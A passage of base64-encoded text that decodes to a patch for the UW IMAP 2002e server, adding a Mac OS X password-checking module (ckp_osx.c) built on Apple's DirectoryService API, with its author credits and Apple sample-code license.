WVBFPW5mcyBcDQorCSBDSEVDS1BXPW9zeCBDUlhUWVBFPW5mcyBcDQogCSBT UE9PTERJUj0vdmFyL3Nwb29sIE1BSUxTUE9PTD0vdmFyL21haWwgXA0KLQkg QkFTRUNGTEFHUz0iLWcgLU8iDQorCSBCQVNFQ0ZMQUdTPSItZyAtTyIgXA0K KwkgRVhUUkFMREZMQUdTPSItZnJhbWV3b3JrIERpcmVjdG9yeVNlcnZpY2Ui DQogDQogcHR4OgkjIFBUWA0KIAkkKEJVSUxEKSBgJChDQVQpIFNQRUNJQUxT YCBPUz0kQCBcDQpkaWZmIC1OcnVwIGltYXAtMjAwMmUvc3JjL29zZGVwL3Vu aXgvY2twX29zeC5jIC91c3IvbG9jYWwvc3JjL2ltYXAtMjAwMmUvc3JjL29z ZGVwL3VuaXgvY2twX29zeC5jDQotLS0gaW1hcC0yMDAyZS9zcmMvb3NkZXAv dW5peC9ja3Bfb3N4LmMJV2VkIERlYyAzMSAxOTowMDowMCAxOTY5DQorKysg L3Vzci9sb2NhbC9zcmMvaW1hcC0yMDAyZS9zcmMvb3NkZXAvdW5peC9ja3Bf b3N4LmMJVHVlIE9jdCAyOCAyMDozNTo1OCAyMDAzDQpAQCAtMCwwICsxLDQ3 MSBAQA0KKy8qDQorICogUHJvZ3JhbToJT1MgWCBjaGVjayBwYXNzd29yZA0K KyAqDQorICogQXV0aG9yOglNYXJrIENyaXNwaW4NCisgKgkJTmV0d29ya3Mg YW5kIERpc3RyaWJ1dGVkIENvbXB1dGluZw0KKyAqCQlDb21wdXRpbmcgJiBD b21tdW5pY2F0aW9ucw0KKyAqCQlVbml2ZXJzaXR5IG9mIFdhc2hpbmd0b24N CisgKgkJQWRtaW5pc3RyYXRpb24gQnVpbGRpbmcsIEFHLTQ0DQorICoJCVNl YXR0bGUsIFdBICA5ODE5NQ0KKyAqCQlJbnRlcm5ldDogTVJDQENBQy5XYXNo aW5ndG9uLkVEVQ0KKyAqDQorICogTW9kaWZpZWQgYnk6IFRvbSBCcm93bg0K KyAqICAgICAgICAgICAgICB0YjAwMEBtYWN6aXBpdC5jb20NCisgKiAgICAg ICAgICAgICAgKE1vZGlmaWNhdGlvbnMgcHJvdmlkZWQgYXMtaXMsIHdpdGgg bm8gd2FycmFudGllcywgaW5jbHVkaW5nIHRoZSB3YXJyYW50eQ0KKyAqICAg ICAgICAgICAgICBvZiBtZXJjaGFudGFiaWxpdHkgb3IgZml0bmVzcyBmb3Ig YSBwYXJ0aWN1bGFyIHB1cnBvc2UuKQ0KKyAqDQorICogRGF0ZToJMSBBdWd1 c3QgMTk4OA0KKyAqIExhc3QgRWRpdGVkOglPY3RvYmVyIDI2LCAyMDAzDQor ICogDQorICogVGhlIElNQVAgdG9vbGtpdCBwcm92aWRlZCBpbiB0aGlzIERp c3RyaWJ1dGlvbiBpcw0KKyAqIENvcHlyaWdodCAyMDAwIFVuaXZlcnNpdHkg b2YgV2FzaGluZ3Rvbi4NCisgKiBUaGUgZnVsbCB0ZXh0IG9mIG91ciBsZWdh bCBub3RpY2VzIGlzIGNvbnRhaW5lZCBpbiB0aGUgZmlsZSBjYWxsZWQNCisg KiBDUFlSSUdIVCwgaW5jbHVkZWQgd2l0aCB0aGlzIERpc3RyaWJ1dGlvbi4N CisgKg0KKyAqIFRoaXMgZmlsZSBjb250YWlucyBjb2RlIGFkYXB0ZWQgZnJv bSBBcHBsZSdzIHNhbXBsZSBjb2RlLiBUaGUgZm9sbG93aW5nIG5vdGljZSBh cHBsaWVzDQorICogdG8gdGhlIEFwcGxlLWRlcml2ZWQgcG9ydGlvbiBvZiB0 aGlzIGZpbGUuDQorICoNCisgCUNvcHlyaWdodDoJqSAyMDAwLTIwMDEgYnkg QXBwbGUgQ29tcHV0ZXIsIEluYy4sIGFsbCByaWdodHMgcmVzZXJ2ZWQuDQor DQorCUlNUE9SVEFOVDogIFRoaXMgQXBwbGUgc29mdHdhcmUgaXMgc3VwcGxp ZWQgdG8geW91IGJ5IEFwcGxlIENvbXB1dGVyLCBJbmMuICgiQXBwbGUiKSBp bg0KKwljb25zaWRlcmF0aW9uIG9mIHlvdXIgYWdyZWVtZW50IHRvIHRoZSBm b2xsb3dpbmcgdGVybXMsIGFuZCB5b3VyIHVzZSwgaW5zdGFsbGF0aW9uLCAN CisJbW9kaWZpY2F0aW9uIG9yIHJlZGlzdHJpYnV0aW9uIG9mIHRoaXMgQXBw bGUgc29mdHdhcmUgY29uc3RpdHV0ZXMgYWNjZXB0YW5jZSBvZiB0aGVzZSAN CisJdGVybXMuICBJZiB5b3UgZG8gbm90IGFncmVlIHdpdGggdGhlc2UgdGVy bXMsIHBsZWFzZSBkbyBub3QgdXNlLCBpbnN0YWxsLCBtb2RpZnkgb3IgDQor CXJlZGlzdHJpYnV0ZSB0aGlzIEFwcGxlIHNvZnR3YXJlLg0KKwkNCisJSW4g Y29uc2lkZXJhdGlvbiBvZiB5b3VyIGFncmVlbWVudCB0byBhYmlkZSBieSB0 aGUgZm9sbG93aW5nIHRlcm1zLCBhbmQgc3ViamVjdCB0byB0aGVzZSANCisJ dGVybXMsIEFwcGxlIGdyYW50cyB5b3UgYSBwZXJzb25hbCwgbm9uLWV4Y2x1 c2l2ZSBsaWNlbnNlLCB1bmRlciBBcHBsZdVzIGNvcHlyaWdodHMgaW4gDQor CXRoaXMgb3JpZ2luYWwgQXBwbGUgc29mdHdhcmUgKHRoZSAiQXBwbGUgU29m dHdhcmUiKSwgdG8gdXNlLCByZXByb2R1Y2UsIG1vZGlmeSBhbmQgDQorCXJl ZGlzdHJpYnV0ZSB0aGUgQXBwbGUgU29mdHdhcmUsIHdpdGggb3Igd2l0aG91 dCBtb2RpZmljYXRpb25zLCBpbiBzb3VyY2UgYW5kL29yIGJpbmFyeSANCisJ Zm9ybXM7IHByb3ZpZGVkIHRoYXQgaWYgeW91IHJlZGlzdHJpYnV0ZSB0aGUg QXBwbGUgU29mdHdhcmUgaW4gaXRzIGVudGlyZXR5IGFuZCB3aXRob3V0IA0K Kwltb2RpZmljYXRpb25zLCB5b3UgbXVzdCByZXRhaW4gdGhpcyBub3RpY2Ug YW5kIHRoZSBmb2xsb3dpbmcgdGV4dCBhbmQgZGlzY2xhaW1lcnMgaW4gYWxs IA0KKwlzdWNoIHJlZGlzdHJpYnV0aW9ucyBvZiB0aGUgQXBwbGUgU29mdHdh cmUuICBOZWl0aGVyIHRoZSBuYW1lLCB0cmFkZW1hcmtzLCBzZXJ2aWNlIG1h cmtzIA0KKwlvciBsb2dvcyBvZiBBcHBsZSBDb21wdXRlciwgSW5jLiBtYXkg YmUgdXNlZCB0byBlbmRvcnNlIG9yIHByb21vdGUgcHJvZHVjdHMgZGVyaXZl ZCBmcm9tIA0KKwl0aGUgQXBwbGUgU29mdHdhcmUgd2l0aG91dCBzcGVjaWZp YyBwcmlvciB3cml0dGVuIHBlcm1pc3Npb24gZnJvbSBBcHBsZS4gRXhjZXB0 IGFzIGV4cHJlc3NseQ0KKwlzdGF0ZWQgaW4gdGhpcyBub3RpY2UsIG5vIG90 aGVyIHJpZ2h0cyBvciBsaWNlbnNlcywgZXhwcmVzcyBvciBpbXBsaWVkLCBh cmUgZ3JhbnRlZCBieSBBcHBsZQ0KKwloZXJlaW4sIGluY2x1ZGluZyBidXQg bm90IGxpbWl0ZWQgdG8gYW55IHBhdGVudCByaWdodHMgdGhhdCBtYXkgYmUg aW5mcmluZ2VkIGJ5IHlvdXIgDQorCWRlcml2YXRpdmUgd29ya3Mgb3IgYnkg b3RoZXIgd29ya3MgaW4gd2hpY2ggdGhlIEFwcGxlIFNvZnR3YXJlIG1heSBi ZSBpbmNvcnBvcmF0ZWQuDQorCQ0KKwlUaGUgQXBwbGUgU29mdHdhcmUgaXMg cHJvdmlkZWQgYnkgQXBwbGUgb24gYW4gIkFTIElTIiBiYXNpcy4gIEFQUExF IE1BS0VTIE5PIFdBUlJBTlRJRVMsIA0KKwlFWFBSRVNTIE9SIElNUExJRUQs IElOQ0xVRElORyBXSVRIT1VUIExJTUlUQVRJT04gVEhFIElNUExJRUQgV0FS UkFOVElFUyBPRiBOT04tSU5GUklOR0VNRU5ULCANCisJTUVSQ0hBTlRBQklM SVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSwgUkVH QVJESU5HIFRIRSBBUFBMRSBTT0ZUV0FSRSBPUiBJVFMgDQorCVVTRSBBTkQg T1BFUkFUSU9OIEFMT05FIE9SIElOIENPTUJJTkFUSU9OIFdJVEggWU9VUiBQ Uk9EVUNUUy4NCisJDQorCUlOIE5PIEVWRU5UIFNIQUxMIEFQUExFIEJFIExJ QUJMRSBGT1IgQU5ZIFNQRUNJQUwsIElORElSRUNULCBJTkNJREVOVEFMIE9S IENPTlNFUVVFTlRJQUwgDQorCURBTUFHRVMgKElOQ0xVRElORywgQlVUIE5P VCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVOVCBPRiBTVUJTVElUVVRFIEdPT0RT IE9SIFNFUlZJQ0VTOyBMT1NTIA0KKwlPRiBVU0UsIERBVEEsIE9SIFBST0ZJ VFM7IE9SIEJVU0lORVNTIElOVEVSUlVQVElPTikgQVJJU0lORyBJTiBBTlkg V0FZIE9VVCBPRiBUSEUgVVNFLCANCisJUkVQUk9EVUNUSU9OLCBNT0RJRklD QVRJT04gQU5EL09SIERJU1RSSUJVVElPTiBPRiBUSEUgQVBQTEUgU09GVFdB UkUsIEhPV0VWRVIgQ0FVU0VEIEFORCANCisJV0hFVEhFUiBVTkRFUiBUSEVP UlkgT0YgQ09OVFJBQ1QsIFRPUlQgKElOQ0xVRElORyBORUdMSUdFTkNFKSwg U1RSSUNUIExJQUJJTElUWSBPUiANCisJT1RIRVJXSVNFLCBFVkVOIElGIEFQ UExFIEhBUyBCRUVOIEFEVklTRUQgT0YgVEhFIFBPU1NJQklMSVRZIE9GIFNV Q0ggREFNQUdFLg0KKyovDQorDCNpbmNsdWRlIDxDb3JlU2VydmljZXMvQ29y ZVNlcnZpY2VzLmg+DQorI2luY2x1ZGUgPERpcmVjdG9yeVNlcnZpY2UvRGly U2VydmljZXMuaD4NCisjaW5jbHVkZSA8RGlyZWN0b3J5U2VydmljZS9EaXJT ZXJ2aWNlc1V0aWxzLmg+DQorI2luY2x1ZGUgPERpcmVjdG9yeVNlcnZpY2Uv RGlyU2VydmljZXNDb25zdC5oPg0KKw0KKyAgLy8gTGliZXJhbGx5IGJvcnJv d2VkIGZyb20gQXBwbGUncyBPcGVuIERpcmVjdG9yeSBTREsNCisNCit0eXBl ZGVmIGVudW0gew0KKwkvLyBOVUxMIGFsbG9jYXRpb24gZXJyb3JzDQorCWtF cnJEYXRhQnVmZmVyQWxsb2NhdGUJCQk9IDEsDQorCWtFcnJEYXRhTm9kZUFs bG9jYXRlQmxvY2ssDQorCWtFcnJEYXRhTm9kZUFsbG9jYXRlU3RyaW5nLA0K KwlrRXJyRGF0YUxpc3RBbGxvY2F0ZSwNCisJa0VyckJ1aWxkRnJvbVBhdGgs DQorCWtFcnJHZXRQYXRoRnJvbUxpc3QsDQorCWtFcnJCdWlsZExpc3RGcm9t Tm9kZXMsDQorCWtFcnJCdWlsZExpc3RGcm9tU3RyaW5ncywNCisJa0VyckJ1 aWxkTGlzdEZyb21TdHJpbmdzQWxsb2MsDQorCWtFcnJEYXRhTGlzdENvcHlM aXN0LA0KKwlrRXJyQWxsb2NBdHRyaWJ1dGVWYWx1ZUVudHJ5LA0KKw0KKwkv LyBFcnJvciBhc3NvY2lhdGlvbnMNCisJa0Vyck9wZW5EaXJTcnZjLA0KKwlr RXJyQ2xvc2VEaXJTcnZjLA0KKwlrRXJyRGF0YUxpc3REZWFsbG9jYXRlLA0K KwlrRXJyRGF0YUJ1ZmZlckRlQWxsb2NhdGUsDQorCWtFcnJGaW5kRGlyTm9k ZXMsDQorCWtFcnJPcGVuUmVjb3JkLA0KKwlrRXJyQ3JlYXRlUmVjb3JkQW5k T3BlbiwNCisJa0VyckNsb3NlUmVjb3JkLA0KKwlrRXJyRGVsZXRlUmVjb3Jk LA0KKwlrRXJyRGF0YU5vZGVEZUFsbG9jYXRlLA0KKw0KKwlrRXJyRGF0YUJ1 ZmZEZWFsbG9jLA0KKwlrRXJyQ3JlYXRlUmVjb3JkLA0KKwlrRXJyQWRkQXR0 cmlidXRlLA0KKwlrRXJyQWRkQXR0cmlidXRlVmFsdWUsDQorCWtFcnJTZXRB dHRyaWJ1dGVWYWx1ZSwNCisJa0VyckdldFJlY0F0dHJWYWx1ZUJ5SW5kZXgs DQorCWtFcnJHZXREaXJOb2RlTmFtZSwNCisJa0Vyck9wZW5EaXJOb2RlLA0K KwlrRXJyQ2xvc2VEaXJOb2RlLA0KKwlrRXJyR2V0UmVjb3JkTGlzdCwNCisN CisJa0VyckdldFJlY29yZEVudHJ5LA0KKwlrRXJyR2V0QXR0cmlidXRlRW50 cnksDQorCWtFcnJHZXRBdHRyaWJ1dGVWYWx1ZSwNCisJa0VyckRlYWxsb2NB dHRyaWJ1dGVWYWx1ZUVudHJ5LA0KKwlrRXJyRG9EaXJOb2RlQXV0aCwNCisJ a0VyckdldFJlY29yZE5hbWVGcm9tRW50cnksDQorCWtFcnJHZXRSZWNvcmRU eXBlRnJvbUVudHJ5LA0KKwlrRXJyR2V0UmVjb3JkQXR0cmlidXRlSW5mbywN CisJa0VyckdldFJlY29yZFJlZmVyZW5jZUluZm8sDQorCWtFcnJHZXREaXJO b2RlSW5mbywNCisNCisJa0VyckdldERpck5vZGVDb3VudCwNCisJa0Vyckdl dERpck5vZGVMaXN0LA0KKwlrRXJyUmVtb3ZlQXR0cmlidXRlVmFsdWUsDQor CWtFcnIsDQorDQorCWtFcnJNZW1vcnlBbGxvYywNCisJa0VyckVtcHR5RGF0 YUJ1ZmYsDQorCWtFcnJFbXB0eURhdGFQYXJhbSwNCisJa0VyckJ1ZmZUb29T bWFsbCwNCisJa0Vyck1heEVycm9ycywNCisJa1Vua25vd25FcnIgPSAweEZG DQorfSBlRXJyQ29kZXM7DQorDQorbG9uZyBTZXRVcEF1dGhCdWZmcyAoICAg dERpclJlZmVyZW5jZSBkc1JlZiwgdERhdGFCdWZmZXIgKipvdXRBdXRoQnVm ZiwNCisJCQl1bnNpZ25lZCBsb25nIGluQXV0aEJ1ZmZTaXplLA0KKwkJCXRE YXRhQnVmZmVyICoqb3V0U3RlcEJ1ZmYsDQorCQkJdW5zaWduZWQgbG9uZyAg aW5TdGVwQnVmZlNpemUsDQorCQkJdERhdGFCdWZmZXIgKipvdXRUeXBlQnVm ZiwNCisgICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBjaGFyICppbkF1 dGhNZXRob2QgKQ0KK3sNCisJbG9uZwkJZXJyb3IJPSBlRFNOb0VycjsNCisJ bG9uZwkJZXJyb3IyCT0gZURTTm9FcnI7DQorDQorCWlmICggKG91dEF1dGhC dWZmID09IG5pbCkgfHwgKG91dFN0ZXBCdWZmID09IG5pbCkgfHwNCisJCSAo b3V0VHlwZUJ1ZmYgPT0gbmlsKSB8fCAoaW5BdXRoTWV0aG9kID09IG5pbCkg KQ0KKwl7DQorCQlyZXR1cm4oIGtFcnJFbXB0eURhdGFQYXJhbSApOw0KKwl9 DQorDQorCSpvdXRBdXRoQnVmZiA9IGRzRGF0YUJ1ZmZlckFsbG9jYXRlKCBk c1JlZiwgaW5BdXRoQnVmZlNpemUgKTsNCisJaWYgKCAqb3V0QXV0aEJ1ZmYg IT0gbmlsICkNCisJew0KKwkJKm91dFN0ZXBCdWZmID0gZHNEYXRhQnVmZmVy QWxsb2NhdGUoIGRzUmVmLCBpblN0ZXBCdWZmU2l6ZSApOw0KKwkJaWYgKCAq b3V0U3RlcEJ1ZmYgIT0gbmlsICkNCisJCXsNCisJCQkqb3V0VHlwZUJ1ZmYg PSBkc0RhdGFOb2RlQWxsb2NhdGVTdHJpbmcoIGRzUmVmLCBpbkF1dGhNZXRo b2QgKTsNCisJCQlpZiAoICpvdXRUeXBlQnVmZiA9PSBuaWwgKQ0KKwkJCXsN CisJCQkJZXJyb3IgPSBrRXJyRGF0YU5vZGVBbGxvY2F0ZVN0cmluZzsNCisJ CQl9DQorCQl9DQorCQllbHNlDQorCQl7DQorCQkJZXJyb3IgPSBrRXJyRGF0 YUJ1ZmZlckFsbG9jYXRlOw0KKwkJfQ0KKwl9DQorCWVsc2UNCisJew0KKwkJ ZXJyb3IgPSBrRXJyRGF0YUJ1ZmZlckFsbG9jYXRlOw0KKwl9DQorDQorCWlm ICggZXJyb3IgIT0gZURTTm9FcnIgKQ0KKwl7DQorCQlpZiAoICpvdXRBdXRo QnVmZiAhPSBuaWwgKQ0KKwkJew0KKwkJCWVycm9yMiA9IGRzRGF0YUJ1ZmZl ckRlQWxsb2NhdGUoIGRzUmVmLCAqb3V0QXV0aEJ1ZmYgKTsNCisJCX0NCisN CisJCWlmICggKm91dFN0ZXBCdWZmICE9IG5pbCApDQorCQl7DQorCQkJZXJy b3IyID0gZHNEYXRhQnVmZmVyRGVBbGxvY2F0ZSggZHNSZWYsICpvdXRTdGVw QnVmZiApOw0KKwkJfQ0KKw0KKwkJaWYgKCAqb3V0VHlwZUJ1ZmYgIT0gbmls ICkNCisJCXsNCisJCQllcnJvcjIgPSBkc0RhdGFCdWZmZXJEZUFsbG9jYXRl KCBkc1JlZiwgKm91dFR5cGVCdWZmICk7DQorCQl9DQorCX0NCisNCisJcmV0 dXJuKCBlcnJvciApOw0KKw0KK30gLy8gU2V0VXBBdXRoQnVmZnMNCisNCits b25nIEZpbGxBdXRoQnVmZiAoIHREYXRhQnVmZmVyICppbkF1dGhCdWZmLCB1 bnNpZ25lZCBsb25nIGluQ291bnQsIHVuc2lnbmVkIGxvbmcgaW5MZW4sIHZv aWQgKmluRGF0YSwgLi4uICkNCit7DQorCWxvbmcJCWVycm9yCQk9IGVEU05v RXJyOw0KKwl1bnNpZ25lZCBsb25nCWN1cnIJCT0gMDsNCisJdW5zaWduZWQg bG9uZyAgIGJ1ZmZTaXplCT0gMDsNCisJdW5zaWduZWQgbG9uZyAgIGNvdW50 CQk9IGluQ291bnQ7DQorCXVuc2lnbmVkIGxvbmcgICBsZW4gICAgICAgICAg ICAgPSBpbkxlbjsNCisJdm9pZCAgICAgICAgICAgICpkYXRhCQk9IGluRGF0 YTsNCisJYm9vbAkJZmlyc3RQYXNzCT0gdHJ1ZTsNCisJY2hhciAgICAgICAg ICAgICpwICAgICAgICAgICAgICA9IG5pbDsNCisJdmFfbGlzdAkJYXJnczsN CisNCisJLy8gSWYgdGhlIGJ1ZmZlciBpcyBuaWwsIHdlIGhhdmUgbm93aGVy ZSB0byBwdXQgdGhlIGRhdGENCisJaWYgKCBpbkF1dGhCdWZmID09IG5pbCAp DQorCXsNCisJCXJldHVybigga0VyckVtcHR5RGF0YUJ1ZmYgKTsNCisJfQ0K Kw0KKwkvLyBJZiB0aGUgYnVmZmVyIGlzIG5pbCwgd2UgaGF2ZSBub3doZXJl IHRvIHB1dCB0aGUgZGF0YQ0KKwlpZiAoIGluQXV0aEJ1ZmYtPmZCdWZmZXJE YXRhID09IG5pbCApDQorCXsNCisJCXJldHVybigga0VyckVtcHR5RGF0YUJ1 ZmYgKTsNCisJfQ0KKw0KKwkvLyBNYWtlIHN1cmUgd2UgaGF2ZSBkYXRhIHRv IGNvcHkNCisJaWYgKCAoaW5MZW4gIT0gMCkgJiYgKGluRGF0YSA9PSBuaWwp ICkNCisJew0KKwkJcmV0dXJuKCBrRXJyRW1wdHlEYXRhUGFyYW0gKTsNCisJ fQ0KKw0KKwkvLyBHZXQgYnVmZmVyIGluZm8NCisJcCA9IGluQXV0aEJ1ZmYt PmZCdWZmZXJEYXRhOw0KKwlidWZmU2l6ZSA9IGluQXV0aEJ1ZmYtPmZCdWZm ZXJTaXplOw0KKw0KKwkvLyBTZXQgdXAgdGhlIGFyZyBsaXN0DQorCXZhX3N0 YXJ0KCBhcmdzLCBpbkxlbiApOw0KKw0KKwl3aGlsZSAoIGNvdW50LS0gPiAw ICkNCisJew0KKwkJaWYgKCAhZmlyc3RQYXNzICkNCisJCXsNCisJCQlsZW4g PSB2YV9hcmcoIGFyZ3MsIHVuc2lnbmVkIGxvbmcgKTsNCisJCQlkYXRhID0g dmFfYXJnKCBhcmdzLCB2b2lkICogKTsNCisJCX0NCisNCisJCWlmICggKGN1 cnIgKyBsZW4pID4gYnVmZlNpemUgKQ0KKwkJew0KKwkJCS8vIFRoaXMgaXMg YmFkLCBsZXRzIGJhaWwNCisJCQlyZXR1cm4oIGtFcnJCdWZmVG9vU21hbGwg KTsNCisJCX0NCisNCisJCW1lbWNweSggJihwWyBjdXJyIF0pLCAmbGVuLCBz aXplb2YoIGxvbmcgKSApOw0KKwkJY3VyciArPSBzaXplb2YoIGxvbmcgKTsN CisNCisJCWlmICggbGVuID4gMCApDQorCQl7DQorCQkJbWVtY3B5KCAmKHBb IGN1cnIgXSksIGRhdGEsIGxlbiApOw0KKwkJCWN1cnIgKz0gbGVuOw0KKwkJ fQ0KKwkJZmlyc3RQYXNzID0gZmFsc2U7DQorCX0NCisNCisJaW5BdXRoQnVm Zi0+ZkJ1ZmZlckxlbmd0aCA9IGN1cnI7DQorDQorCXJldHVybiggZXJyb3Ig KTsNCisNCit9IC8vIEZpbGxBdXRoQnVmZg0KKw0KKw0KK2xvbmcgRG9DbGVh clRleHRBdXRoICggdERpclJlZmVyZW5jZSBkc1JlZiwgdERpck5vZGVSZWZl cmVuY2UgaW5Ob2RlLCBjaGFyICppbk5hbWUsIGNoYXIgKmluUGFzc3dkICkN Cit7DQorICAgIGxvbmcgICAgZXJyb3I9IGVEU05vRXJyOw0KKyAgICBsb25n ICAgIGVycm9yMj0gZURTTm9FcnI7DQorICAgIHREYXRhQnVmZmVyICAgKnBB dXRoQnVmZj0gbmlsOw0KKyAgICB0RGF0YUJ1ZmZlciAgICpwU3RlcEJ1ZmY9 IG5pbDsNCisgICAgdERhdGFOb2RlICAgKnBBdXRoVHlwZT0gbmlsOw0KKw0K KyAgICBlcnJvciA9IFNldFVwQXV0aEJ1ZmZzKCBkc1JlZiwgJnBBdXRoQnVm ZiwgMjA0OCwgJnBTdGVwQnVmZiwgMjA0OCwgJnBBdXRoVHlwZSwga0RTU3Rk QXV0aE5vZGVOYXRpdmVDbGVhclRleHRPSyApOw0KKyAgICBpZiAoIGVycm9y ID09IGVEU05vRXJyICkNCisgICAgew0KKyAgICAgICAgZXJyb3IgPSBGaWxs QXV0aEJ1ZmYgKCBwQXV0aEJ1ZmYsIDIsDQorCQkJCSAobG9uZylzdHJsZW4o IGluTmFtZSApLCBpbk5hbWUsDQorCQkJCSAobG9uZylzdHJsZW4oIGluUGFz c3dkICksIGluUGFzc3dkICk7DQorDQorICAgICAgICBpZiAoIGVycm9yID09 IGVEU05vRXJyICkNCisgICAgICAgIHsNCisgICAgICAgICAgICBlcnJvciA9 IGRzRG9EaXJOb2RlQXV0aCggaW5Ob2RlLCBwQXV0aFR5cGUsIHRydWUsIHBB dXRoQnVmZiwgcFN0ZXBCdWZmLCBuaWwgKTsNCisgICAgICAgIH0NCisgICAg ICAgICAgICANCisgICAgICAgIGVycm9yMiA9IGRzRGF0YUJ1ZmZlckRlQWxs b2NhdGUoIGRzUmVmLCBwQXV0aEJ1ZmYgKTsNCisgICAgICAgIGVycm9yMiA9 IGRzRGF0YUJ1ZmZlckRlQWxsb2NhdGUoIGRzUmVmLCBwU3RlcEJ1ZmYgKTsN CisgICAgICAgIGVycm9yMiA9IGRzRGF0YUJ1ZmZlckRlQWxsb2NhdGUoIGRz UmVmLCBwQXV0aFR5cGUgKTsNCisgICAgfQ0KKw0KKyAgICByZXR1cm4oIGVy cm9yICk7DQorDQorfSAvLyBEb0NsZWFyVGV4dEF1dGgNCisNCitzdGF0aWMg bG9uZyBPcGVuRGlyTm9kZSAoIHREaXJSZWZlcmVuY2UgZHNSZWYsIGNoYXIg KmluTm9kZU5hbWUsIHREaXJOb2RlUmVmZXJlbmNlICpvdXROb2RlUmVmICkN Cit7DQorCWxvbmcgICAgICAgIGVycm9yCQk9IGVEU05vRXJyOw0KKwlsb25n ICAgICAgICBlcnJvcjIJCT0gZURTTm9FcnI7DQorCXREYXRhTGlzdCAgICpw RGF0YUxpc3QJPSBuaWw7DQorDQorICAgICAgICBwRGF0YUxpc3QgPSBkc0J1 aWxkRnJvbVBhdGgoIGRzUmVmLCBpbk5vZGVOYW1lLCAiLyIgKTsNCisgICAg ICAgIGlmICggcERhdGFMaXN0ICE9IG5pbCApDQorICAgICAgICB7DQorICAg ICAgICAgICAgICAgIGVycm9yID0gZHNPcGVuRGlyTm9kZSggZHNSZWYsIHBE YXRhTGlzdCwgb3V0Tm9kZVJlZiApOw0KKyAgICAgICAgICAgICAgICBlcnJv cjIgPSBkc0RhdGFMaXN0RGVhbGxvY2F0ZSggZHNSZWYsIHBEYXRhTGlzdCAp Ow0KKyAgICAgICAgfQ0KKyAgICAgICAgZWxzZQ0KKyAgICAgICAgew0KKyAg ICAgICAgICAgICAgICBlcnJvciA9IGtFcnJCdWlsZEZyb21QYXRoOw0KKyAg ICAgICAgfQ0KKw0KKwlyZXR1cm4oIGVycm9yICk7DQorDQorfSAvLyBPcGVu RGlyTm9kZQ0KKw0KK3N0YXRpYyBsb25nIEZpbmREaXJlY3RvcnlOb2RlcyAo ICAgIHREaXJSZWZlcmVuY2UgZHNSZWYsDQorICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgY2hhciAqaW5Ob2RlTmFtZSwNCisgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0RGlyUGF0dGVybk1hdGNo IGluTWF0Y2gsDQorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgY2hhciAqKm91dE5vZGVOYW1lKQ0KK3sNCisJbG9uZwkJCWVycm9yCQkJ PSBlRFNOb0VycjsNCisJbG9uZwkJCWVycm9yMgkJCT0gZURTTm9FcnI7DQor CWJvb2wJCQlkb25lCQkJPSBmYWxzZTsNCisJdW5zaWduZWQgbG9uZwkJCXVp Q291bnQJCQk9IDA7DQorCXVuc2lnbmVkIGxvbmcJCQl1aUluZGV4CQkJPSAw Ow0KKwl0RGF0YUxpc3QJICAgKnBOb2RlTmFtZUxpc3QJPSBuaWw7DQorCXRE YXRhTGlzdAkgICAqcERhdGFMaXN0CQk9IG5pbDsNCisJY2hhcgkJICAgKnBO b2RlTmFtZQkJPSBuaWw7DQorICAgICAgICB0RGF0YUJ1ZmZlciAgICAgICAg ICpidWY7DQorDQorCQlpZiAoIGluTm9kZU5hbWUgIT0gbmlsICkNCisJCXsN CisJCQlwTm9kZU5hbWVMaXN0ID0gZHNCdWlsZEZyb21QYXRoKCBkc1JlZiwg aW5Ob2RlTmFtZSwgIi8iICk7DQorCQkJaWYgKCBwTm9kZU5hbWVMaXN0ID09 IG5pbCApDQorCQkJew0KKwkJCQlyZXR1cm4oIGtFcnJEYXRhTm9kZUFsbG9j YXRlU3RyaW5nICk7DQorCQkJfQ0KKwkJfQ0KKw0KKyAgICAgICAgICAgICAg ICBidWYgPSBkc0RhdGFCdWZmZXJBbGxvY2F0ZSggZHNSZWYsIDEwMjQpOw0K KwkJZG8gew0KKwkJCWVycm9yID0gZHNGaW5kRGlyTm9kZXMoIGRzUmVmLCBi dWYsIHBOb2RlTmFtZUxpc3QsIGluTWF0Y2gsICZ1aUNvdW50LCBuaWwgKTsN CisJCQlpZiAoIGVycm9yID09IGVEU0J1ZmZlclRvb1NtYWxsICkNCisJCQl7 DQorCQkJCXVuc2lnbmVkIGxvbmcgYnVmZlNpemUgPSBidWYtPmZCdWZmZXJT aXplOw0KKwkJCQlkc0RhdGFCdWZmZXJEZUFsbG9jYXRlKCBkc1JlZiwgYnVm ICk7DQorCQkJCWJ1ZiA9IG5pbDsNCisJCQkJYnVmID0gZHNEYXRhQnVmZmVy QWxsb2NhdGUoIGRzUmVmLCBidWZmU2l6ZSAqIDIgKTsNCisJCQl9DQorCQl9 IHdoaWxlICggZXJyb3IgPT0gZURTQnVmZmVyVG9vU21hbGwgKTsNCisJCWlm ICggZXJyb3IgPT0gZURTTm9FcnIgKQ0KKwkJew0KKw0KKwkJCWlmICggdWlD b3VudCAhPSAwICkNCisJCQl7DQorCQkJCXBEYXRhTGlzdCA9IGRzRGF0YUxp c3RBbGxvY2F0ZSggZHNSZWYgKTsNCisJCQkJaWYgKCBwRGF0YUxpc3QgIT0g bmlsICkNCisJCQkJew0KKwkJCQkJZm9yICggdWlJbmRleCA9IDE7ICh1aUlu ZGV4IDw9IHVpQ291bnQpICYmIChlcnJvciA9PSBlRFNOb0Vycik7IHVpSW5k ZXgrKyApDQorCQkJCQl7DQorCQkJCQkJZXJyb3IgPSBkc0dldERpck5vZGVO YW1lKCBkc1JlZiwgYnVmLCB1aUluZGV4LCAmcERhdGFMaXN0ICk7DQorCQkJ CQkJaWYgKCBlcnJvciA9PSBlRFNOb0VyciApDQorCQkJCQkJew0KKwkJCQkJ CQlwTm9kZU5hbWUgPSBkc0dldFBhdGhGcm9tTGlzdCggZHNSZWYsIHBEYXRh TGlzdCwgIi8iICk7DQorCQkJCQkJCWlmICggcE5vZGVOYW1lICE9IG5pbCAp DQorCQkJCQkJCXsNCisNCisJCQkJCQkJCWlmICggKG91dE5vZGVOYW1lICE9 IG5pbCkgJiYgIWRvbmUgKQ0KKwkJCQkJCQkJew0KKwkJCQkJCQkJCSpvdXRO b2RlTmFtZSA9IHBOb2RlTmFtZTsNCisJCQkJCQkJCQlkb25lID0gdHJ1ZTsN 